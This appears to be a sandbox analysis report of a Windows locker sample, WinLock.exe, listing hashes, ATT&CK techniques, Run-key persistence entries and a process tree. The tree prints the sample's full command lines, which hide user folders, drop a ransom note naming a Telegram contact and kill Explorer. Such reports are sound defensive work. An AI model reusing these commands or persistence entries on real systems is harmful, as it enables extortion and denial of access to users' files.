8a5b33f6eb04626cc82b922a2b91c389c6314e7ca3a144b3bd08f17ae170f931

Analysis

user interaction
yes
max time kernel
148s
max time network
132s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
19/08/2026, 17:17

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
WinLock.exe
Size 196KB
Sample260819-vt1a2ayfre
SHA256 8a5b33f6eb04626cc82b922a2b91c389c6314e7ca3a144b3bd08f17ae170f931
MD5 b8dc2090fb85701448b75ecba9a759aa
SHA1 57aba1de9b2973e01bc1fc5562f7b9f89336c3a9
SHA512 c189f2f32134c29096456676a34a27f01f42216cee5d890e3e3df1e1bd2c76fdeef92faaabd3b227a3eb5ee7422cbd9ad11b550f6ee58be49f379003f9e47a28
SSDEEP 6144:GD8A/ehUOqxaPB6WUSPbDddNSCpMW90KImQiXnhbsew:G4AwUOqxaPssvj
TLSH
T1D414385813AB897DD63D237EE0A1110507F46227C603E35E9EE5E4F95E2B313AB12B87
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

defense_evasion persistence spyware stealer

Malware Config

Signatures

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 10 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Run\MSEdgeUpdateX = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\WinLock.exe\""	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_1 = "AWindowsService.exe"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_3 = "windowsx-c.exe"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_4 = "System.exe"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_7 = "ux-cryptor.exe"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_8 = "crypt0rsx.exe"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsInstaller = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\WinLock.exe\" -startup"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_2 = "taskhost.exe"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_5 = "_default64.exe"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_6 = "native.exe"	WinLock.exe

Drops desktop.ini file(s) 12 IoCs

description	ioc	Process
File opened for modification	C:\Users\Public\Desktop\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Downloads\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Documents\desktop.ini	attrib.exe
File opened for modification	C:\Users\Public\Desktop\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Desktop\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Downloads\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Desktop\desktop.ini	attrib.exe
File opened for modification	C:\Users\Public\Desktop\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Desktop\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Documents\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Downloads\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Documents\desktop.ini	attrib.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 12 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4636	cmd.exe
2496	cmd.exe
2780	cmd.exe
3576	cmd.exe
4800	cmd.exe
3260	cmd.exe
1380	cmd.exe
6120	cmd.exe
3356	cmd.exe
5096	cmd.exe
2612	cmd.exe
5472	cmd.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
3596	taskkill.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2424	WinLock.exe
2424	WinLock.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2424	WinLock.exe
Token: SeDebugPrivilege	3596	taskkill.exe

Suspicious use of WriteProcessMemory 37 IoCs

description	pid	Process	procid_target
PID 2424 wrote to memory of 5096	2424	WinLock.exe	92
PID 2424 wrote to memory of 3576	2424	WinLock.exe	93
PID 2424 wrote to memory of 3356	2424	WinLock.exe	94
PID 2424 wrote to memory of 6120	2424	WinLock.exe	95
PID 2424 wrote to memory of 2780	2424	WinLock.exe	96
PID 2424 wrote to memory of 2496	2424	WinLock.exe	97
PID 2424 wrote to memory of 3596	2424	WinLock.exe	98
PID 3576 wrote to memory of 4160	3576	cmd.exe	114
PID 3356 wrote to memory of 1044	3356	cmd.exe	116
PID 6120 wrote to memory of 960	6120	cmd.exe	117
PID 3576 wrote to memory of 1176	3576	cmd.exe	118
PID 5096 wrote to memory of 2020	5096	cmd.exe	119
PID 3356 wrote to memory of 3048	3356	cmd.exe	120
PID 2780 wrote to memory of 4088	2780	cmd.exe	121
PID 6120 wrote to memory of 3372	6120	cmd.exe	122
PID 2496 wrote to memory of 416	2496	cmd.exe	124
PID 5096 wrote to memory of 2588	5096	cmd.exe	125
PID 2496 wrote to memory of 5844	2496	cmd.exe	126
PID 2780 wrote to memory of 2340	2780	cmd.exe	127
PID 2424 wrote to memory of 4800	2424	WinLock.exe	129
PID 2424 wrote to memory of 2612	2424	WinLock.exe	130
PID 2424 wrote to memory of 5472	2424	WinLock.exe	131
PID 2424 wrote to memory of 3260	2424	WinLock.exe	132
PID 2424 wrote to memory of 1380	2424	WinLock.exe	133
PID 2424 wrote to memory of 4636	2424	WinLock.exe	134
PID 4800 wrote to memory of 3428	4800	cmd.exe	141
PID 4636 wrote to memory of 4456	4636	cmd.exe	142
PID 1380 wrote to memory of 3180	1380	cmd.exe	143
PID 2612 wrote to memory of 5364	2612	cmd.exe	144
PID 5472 wrote to memory of 3980	5472	cmd.exe	145
PID 3260 wrote to memory of 4348	3260	cmd.exe	146
PID 4800 wrote to memory of 688	4800	cmd.exe	147
PID 5472 wrote to memory of 5684	5472	cmd.exe	149
PID 1380 wrote to memory of 4688	1380	cmd.exe	148
PID 2612 wrote to memory of 2140	2612	cmd.exe	150
PID 3260 wrote to memory of 4160	3260	cmd.exe	151
PID 4636 wrote to memory of 5008	4636	cmd.exe	152

Views/modifies file attributes 1 TTPs 24 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4160	attrib.exe
1044	attrib.exe
1176	attrib.exe
2020	attrib.exe
3372	attrib.exe
5844	attrib.exe
5684	attrib.exe
3048	attrib.exe
3428	attrib.exe
4456	attrib.exe
3980	attrib.exe
5364	attrib.exe
4688	attrib.exe
2140	attrib.exe
5008	attrib.exe
4088	attrib.exe
2340	attrib.exe
3180	attrib.exe
688	attrib.exe
960	attrib.exe
416	attrib.exe
2588	attrib.exe
4348	attrib.exe
4160	attrib.exe

C:\Users\Admin\AppData\Local\Temp\WinLock.exe
"C:\Users\Admin\AppData\Local\Temp\WinLock.exe"
1⤵
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2424
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c F: & attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @@lockervikup_bot 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:5096
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:2020
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:2588
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @@lockervikup_bot 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:3576
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:4160
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:1176
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @@lockervikup_bot 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:3356
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:1044
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:3048
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\downloads"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @@lockervikup_bot 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:6120
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:960
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:3372
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\documents"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @@lockervikup_bot 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:2780
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:4088
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:2340
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @@lockervikup_bot 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:2496
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:416
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:5844
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill.exe /im Explorer.exe /f
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3596
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c F: & attrib -h -s -r -i /D & del info-Locker.txt /q /s & attrib +h +s -r desktop.ini
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:4800
- - C:\Windows\system32\attrib.exe
    attrib -h -s -r -i /D
    3⤵
    - Views/modifies file attributes
    PID:3428
- - C:\Windows\system32\attrib.exe
    attrib +h +s -r desktop.ini
    3⤵
    - Views/modifies file attributes
    PID:688
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\desktop"&attrib -h -s -r -i /D & del info-Locker.txt /q /s & attrib +h +s -r desktop.ini
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:2612
- - C:\Windows\system32\attrib.exe
    attrib -h -s -r -i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:5364
- - C:\Windows\system32\attrib.exe
    attrib +h +s -r desktop.ini
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:2140
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib -h -s -r -i /D & del info-Locker.txt /q /s & attrib +h +s -r desktop.ini
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:5472
- - C:\Windows\system32\attrib.exe
    attrib -h -s -r -i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:3980
- - C:\Windows\system32\attrib.exe
    attrib +h +s -r desktop.ini
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:5684
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\downloads"&attrib -h -s -r -i /D & del info-Locker.txt /q /s & attrib +h +s -r desktop.ini
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:3260
- - C:\Windows\system32\attrib.exe
    attrib -h -s -r -i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:4348
- - C:\Windows\system32\attrib.exe
    attrib +h +s -r desktop.ini
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:4160
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\documents"&attrib -h -s -r -i /D & del info-Locker.txt /q /s & attrib +h +s -r desktop.ini
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:1380
- - C:\Windows\system32\attrib.exe
    attrib -h -s -r -i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:3180
- - C:\Windows\system32\attrib.exe
    attrib +h +s -r desktop.ini
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:4688
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%"&attrib -h -s -r -i /D & del info-Locker.txt /q /s & attrib +h +s -r desktop.ini
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:4636
- - C:\Windows\system32\attrib.exe
    attrib -h -s -r -i /D
    3⤵
    - Views/modifies file attributes
    PID:4456
- - C:\Windows\system32\attrib.exe
    attrib +h +s -r desktop.ini
    3⤵
    - Views/modifies file attributes
    PID:5008

C:\Users\Admin\AppData\Local\Temp\WinLock.exe
"C:\Users\Admin\AppData\Local\Temp\WinLock.exe"
1⤵
PID:4836

C:\Users\Admin\AppData\Local\Temp\WinLock.exe
"C:\Users\Admin\AppData\Local\Temp\WinLock.exe" -startup
1⤵
PID:1708

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

info-Locker.txt

Path C:\Users\Admin\Desktop\info-Locker.txt
Size 82B
SHA256 17573ae2a2637bfde5ad131ca32ca84e29e762df650633a83d6d9a5ccbe18168
MD5 25ad188dbe29342db264b4a3b40f4824
SHA1 0f9babb257f134dee0bb466950bd5dc727d6805e
SHA512 a792eb1d8ad9f37d17d0658a9652df3bb3f72edfa7b14c00e1c73fd70ece96055a8f2cfe0c8d541157c97adcdf844e112a93753a65dc90378edf6422dba8d7d5
TLSH
T15AA012042D785545202311F33C36E141287C984C200328500B50005700350C2149F410
MD5 SHA1 SHA512 TLSH

Submit Download

info-Locker.txt

Path C:\Users\Public\Desktop\info-Locker.txt
Size 82B
SHA256 b384ef30fa85c7c1ab8bd75a6316c3870cb055ec0c53375c0e5443619ca60d1f
MD5 36ab84ef0a700f53d1f96b0fdff28a68
SHA1 cd95aafc3ff80c92e8eb9ea43a28e44a9997b4ea
SHA512 4c8002271323be2ebe14b5bd2421f08a02cd06105ade6bc3fbca742bf56b468b4be4b464bbccb14aafc43be1dd8327d08fc6b7d66ac4befbb4596cd0e0cb15d8
TLSH
T10FA012052D686645202211F33C32E181687CA84C240328504B10005700250C2149F410
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2424-5-0x00007FF804BF0000-0x00007FF805594000-memory.dmp

Download

memory/2424-2-0x0000000000220000-0x0000000000258000-memory.dmp

Download

memory/2424-4-0x00007FF804BF0000-0x00007FF805594000-memory.dmp

Download

memory/2424-0-0x00007FF804D7F000-0x00007FF804D80000-memory.dmp

Download

memory/2424-6-0x00007FF804BF0000-0x00007FF805594000-memory.dmp

Download

memory/2424-7-0x00007FF804BF0000-0x00007FF805594000-memory.dmp

Download

memory/2424-11-0x00007FF804BF0000-0x00007FF805594000-memory.dmp

Download

memory/2424-32-0x00007FF804BF0000-0x00007FF805594000-memory.dmp

Download

memory/2424-1-0x00007FF804BF0000-0x00007FF805594000-memory.dmp

Download

memory/2424-3-0x00007FF804BF0000-0x00007FF805594000-memory.dmp

Download

memory/2424-25-0x00007FF804BF0000-0x00007FF805594000-memory.dmp

Download

memory/2424-26-0x00007FF804BF0000-0x00007FF805594000-memory.dmp

Download

memory/2424-27-0x00007FF804BF0000-0x00007FF805594000-memory.dmp

Download

memory/2424-28-0x00007FF804BF0000-0x00007FF805594000-memory.dmp

Download

memory/2424-29-0x00007FF804BF0000-0x00007FF805594000-memory.dmp

Download

memory/2424-30-0x00007FF804BF0000-0x00007FF805594000-memory.dmp

Download

memory/2424-31-0x00007FF804BF0000-0x00007FF805594000-memory.dmp

Download

memory/3596-14-0x0000019545A80000-0x0000019545CC1000-memory.dmp

Download